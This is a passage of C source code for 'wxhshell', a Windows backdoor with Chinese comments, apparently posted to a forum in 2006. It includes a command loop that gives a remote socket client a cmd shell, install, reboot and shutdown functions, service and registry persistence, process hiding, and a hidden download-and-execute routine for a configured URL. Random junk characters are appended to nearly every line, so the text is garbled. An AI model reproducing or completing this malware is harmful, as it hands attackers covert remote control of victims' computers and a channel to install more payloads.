  case '?': { ~Dq-q6-@t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q| 1%G Nb  
    break; ~&D =;M/  
  } E2>{ seZ  
  // 安装 K9%rr_ja!  
  case 'i': { 04Zdg:[3-!  
    if(Install()) rCDt9o>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]?@ [Ny=0  
    else DPxx9lN_rx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;7:} iKU  
    break; ~ O#\$u  
    } SQ4^sk_!  
  // 卸载 z:f&k}(  
  case 'r': {  g]?pY  
    if(Uninstall()) zl :by?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6LCtWX  
    else k4LrUd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }vZf&ib-   
    break; -J+1V{  
    } Ba m.B6-  
  // 显示 wxhshell 所在路径 :a;F3NJ  
  case 'p': { @e3+Gs  
    char svExeFile[MAX_PATH]; {L7Pha  
    strcpy(svExeFile,"\n\r"); > UZ-['H  
      strcat(svExeFile,ExeFile); k}fC58q  
        send(wsh,svExeFile,strlen(svExeFile),0); 3Jizv,?  
    break; SqPqL<,e  
    } ?g+3 URpK  
  // 重启 lOVcXAe}  
  case 'b': {  YFm%W@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oqF?9<Vgc,  
    if(Boot(REBOOT)) %akW43cE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GuR^L@+ -.  
    else { U? Jk  
    closesocket(wsh); Gkuqe3  
    ExitThread(0); G|Et'k.F4  
    } 3oLF^^^g  
    break; .>R`#@+I  
    } 8)9-*Bzj   
  // 关机 YXWDbr:JX  
  case 'd': { U| Fqna  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v3Vve:}+  
    if(Boot(SHUTDOWN)) 3xs<w7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y7F |v8bq  
    else { 90W= v*  
    closesocket(wsh); }[JB%  
    ExitThread(0); D8L5t<^1R  
    } D2&d",%&f  
    break; R %RbC!P  
    } =|E "  
  // 获取shell &wK:R,~x6  
  case 's': { !lNyoX/  
    CmdShell(wsh); ; oa+Z:;f  
    closesocket(wsh); vEg%ivj3  
    ExitThread(0); 0QZT<Zs  
    break; X|{Tljn  
  } )]C]KB  
  // 退出 rk1,LsZVS  
  case 'x': { #E!^oZm<Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #b[bgxm  
    CloseIt(wsh); ,.9lz  
    break; VNWB$mM.2  
    } JGHj(0j  
  // 离开 S3%2T  
  case 'q': { gd0)s1{9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9$HKP9G  
    closesocket(wsh); 3XQa%|N(  
    WSACleanup(); 4u}Cki,vOK  
    exit(1); /";tkad^  
    break; #8et91qw  
        } `r1}:`.m,  
  } 3!p`5hJd  
  } s;TB(M~i[  
(%L /|F_  
  // 提示信息 Hdew5Xn(:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4aOz=/x2  
} !2!Zhw2u  
  } 5]dlD #  
\"ahs7ABT  
  return; N0w?c 5>  
} O+o)z6(  
F M6{%}4  
// shell模块句柄 Yt#; +*d5  
int CmdShell(SOCKET sock) F0_w9"3E~  
{ x[{\Aw>$.  
STARTUPINFO si; V_~lME  
ZeroMemory(&si,sizeof(si)); Jd7chIK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j_g(6uZhz3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j ^j"w(a  
PROCESS_INFORMATION ProcessInfo; ly` A,dh  
char cmdline[]="cmd"; {V>F69IU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _" 9 q(1  
  return 0; Ps@']]4>W  
} c0Ih$z  
$}su 'EIo  
// 自身启动模式 0L/chP  
int StartFromService(void) LnE/62){N  
{ ,7@\e &/&  
typedef struct X,w X)9]J  
{ }BC%(ZH6  
  DWORD ExitStatus; *w@ 1@6?j  
  DWORD PebBaseAddress; ;B 8Q,.t>x  
  DWORD AffinityMask; rn)Gx2 5  
  DWORD BasePriority; VrRF2(Kn?  
  ULONG UniqueProcessId; zF`a:dD$d  
  ULONG InheritedFromUniqueProcessId; n{TWdC  
}   PROCESS_BASIC_INFORMATION; o~XK*f=(  
oH=?1~ e  
PROCNTQSIP NtQueryInformationProcess; , ]1f)>  
.*` ^dt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I4@XOwl{P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1@OpvO5  
bss2<mqlH  
  HANDLE             hProcess; 2|bt"y-5r  
  PROCESS_BASIC_INFORMATION pbi; kfnh1|D=aY  
Qq:}Z7 H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q$5 t~*$`  
  if(NULL == hInst ) return 0; 4\-11!'08  
f\oW<2k]~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m:)&:Y0 (a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W|8VE,"7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q8`V0E\~  
7vZO;FGtG  
  if (!NtQueryInformationProcess) return 0; B$rhsK%  
x"q]~u<rB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H-pf8  
  if(!hProcess) return 0; K^<?LXJF  
H[.)&7M\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cV6H!\  
b, a7XANsh  
  CloseHandle(hProcess); 129\H< m  
.Qrpz^wdt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EmT_T 3v  
if(hProcess==NULL) return 0; |c0^7vrC  
fd *XK/h  
HMODULE hMod; R-m5(  
char procName[255]; %/I:r7UR{  
unsigned long cbNeeded; By@65KmR"  
LA;f,CQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2!-Q!c`y  
`W1uU=c  
  CloseHandle(hProcess); "T=j\/Q  
FUL3@Gb$UV  
if(strstr(procName,"services")) return 1; // 以服务启动 |1_$\k9Y&  
q<3La(^/  
  return 0; // 注册表启动 *l`yxz@U  
} |*t2IVwX  
f@;pN=PS  
// 主模块 g "Du]_,  
int StartWxhshell(LPSTR lpCmdLine) uEb:uENk'(  
{ V7U*09 0*5  
  SOCKET wsl; goiI* " 6M  
BOOL val=TRUE; IoOOS5a  
  int port=0; |v7Je?yh  
  struct sockaddr_in door; Pi"?l[T0  
8lx}0U  
  if(wscfg.ws_autoins) Install(); PsUO8g'\  
UY9*)pEE  
port=atoi(lpCmdLine); 1,=:an  
)zO|m7  
if(port<=0) port=wscfg.ws_port; 8F>9CO:&N  
?{'_4n3O  
  WSADATA data; T`@brL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X% 05[N  
<J%Z?3@ T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Kkq-x'gt^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y$v d@Q  
  door.sin_family = AF_INET; XdA]);,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I<RARB-j  
  door.sin_port = htons(port); T&[6  
Y}BP ]#1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xKE=$SV(  
closesocket(wsl); TXM/+sd  
return 1; H^kOwmSzh  
} BTwc(oL  
})] iN "  
  if(listen(wsl,2) == INVALID_SOCKET) { < xeB9  
closesocket(wsl); pBe1:  
return 1; ~.x#ic  
} EE]xZz>o  
  Wxhshell(wsl); 5)Z=FUupA~  
  WSACleanup(); qnyacI  
nmn/4>  
return 0;  GpTZp#~;  
.$p eq  
} awR !=\  
u\ 7Y_`8  
// 以NT服务方式启动 JJ1>)S}X-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (L4llZ;q  
{ !+$QN4{9  
DWORD   status = 0; ;5;>f)diS  
  DWORD   specificError = 0xfffffff; 1.@{5f3T  
`Eg X#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H2|'JA#v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x7 e0&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F^{31iU~CX  
  serviceStatus.dwWin32ExitCode     = 0; K?,? .!ev  
  serviceStatus.dwServiceSpecificExitCode = 0; EG^ rh;  
  serviceStatus.dwCheckPoint       = 0; #f(tzPD  
  serviceStatus.dwWaitHint       = 0; T\Xf0|y  
#xx.yn(7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T\.~!Q  
  if (hServiceStatusHandle==0) return; +fY@q ,`  
hwUb(pZ  
status = GetLastError(); $yU}56(z~  
  if (status!=NO_ERROR) &;?+ ^L>  
{ tH; 6 Mp;f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %`pi*/(  
    serviceStatus.dwCheckPoint       = 0; ^! h3#4  
    serviceStatus.dwWaitHint       = 0; o% Q7 el$f  
    serviceStatus.dwWin32ExitCode     = status; +pSo(e(  
    serviceStatus.dwServiceSpecificExitCode = specificError; !otseI!!/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >a*dI_XE  
    return; M*n94L=Sg&  
  } ;\}d QsX  
}>AA[ba"'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |8{ k,!P'K  
  serviceStatus.dwCheckPoint       = 0; H ABUf^~-  
  serviceStatus.dwWaitHint       = 0; LsI@_,XW<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); + R6X  
} CB9:53zK9  
#\N8E-d  
// 处理NT服务事件,比如:启动、停止 /zh:7N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ie!">8."  
{ c]1AM)xo  
switch(fdwControl) A- m IWTa  
{ 3%r/w7Fc  
case SERVICE_CONTROL_STOP: PUD8  
  serviceStatus.dwWin32ExitCode = 0; ~pH!.|k-&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sa<\nH$_X  
  serviceStatus.dwCheckPoint   = 0; ;~r-P$kCY  
  serviceStatus.dwWaitHint     = 0; 4sSw7`  
  { _l] 0V g`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D]fgBW-  
  } .nEMd/pX  
  return; Ar~<l2,{r  
case SERVICE_CONTROL_PAUSE: d]K8*a%[-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,Gbc4x  
  break; Ha]vG@?+  
case SERVICE_CONTROL_CONTINUE: 416}# Mk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pbbi*&i  
  break; =3% GLj  
case SERVICE_CONTROL_INTERROGATE: 3%Q<K=jy  
  break; 6&<QjO  
}; Ok)f5")N %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f'"PQr^9  
} /T  {R\  
~C>;0a;<:  
// 标准应用程序主函数 `K@N\VM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lxZ9y  
{ {4SaS v^/  
z^*g 2J,  
// 获取操作系统版本 @N[<<k7g  
OsIsNt=GetOsVer(); P()n=&XO6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L$"x*2[A  
% &H^UxC  
  // 从命令行安装 )mAD<y+  
  if(strpbrk(lpCmdLine,"iI")) Install(); JgHYuLB  
3&E@#I^] ,  
  // 下载执行文件 IDF0nx]  
if(wscfg.ws_downexe) { E0HE@pqr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LZG(T$dI  
  WinExec(wscfg.ws_filenam,SW_HIDE); !s$1C=z5u  
} bUy!hS;s  
dtV*CX.D.7  
if(!OsIsNt) { f6SXXkO+  
// 如果时win9x,隐藏进程并且设置为注册表启动 zV15d91GX  
HideProc(); /W f.Gt9[  
StartWxhshell(lpCmdLine); #D(=[F  
} |;aZi?Ek[  
else "ivVIq2  
  if(StartFromService()) t:oq't  
  // 以服务方式启动 BINHCZ  
  StartServiceCtrlDispatcher(DispatchTable); =^Ws/k  
else #~m^RoE  
  // 普通方式启动 -sf[o"T,j  
  StartWxhshell(lpCmdLine); iu{;|E  
VR_/Vh ]@  
return 0; i&m6;>?`  
}
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只看该作者 1 发表于: 2006-10-10
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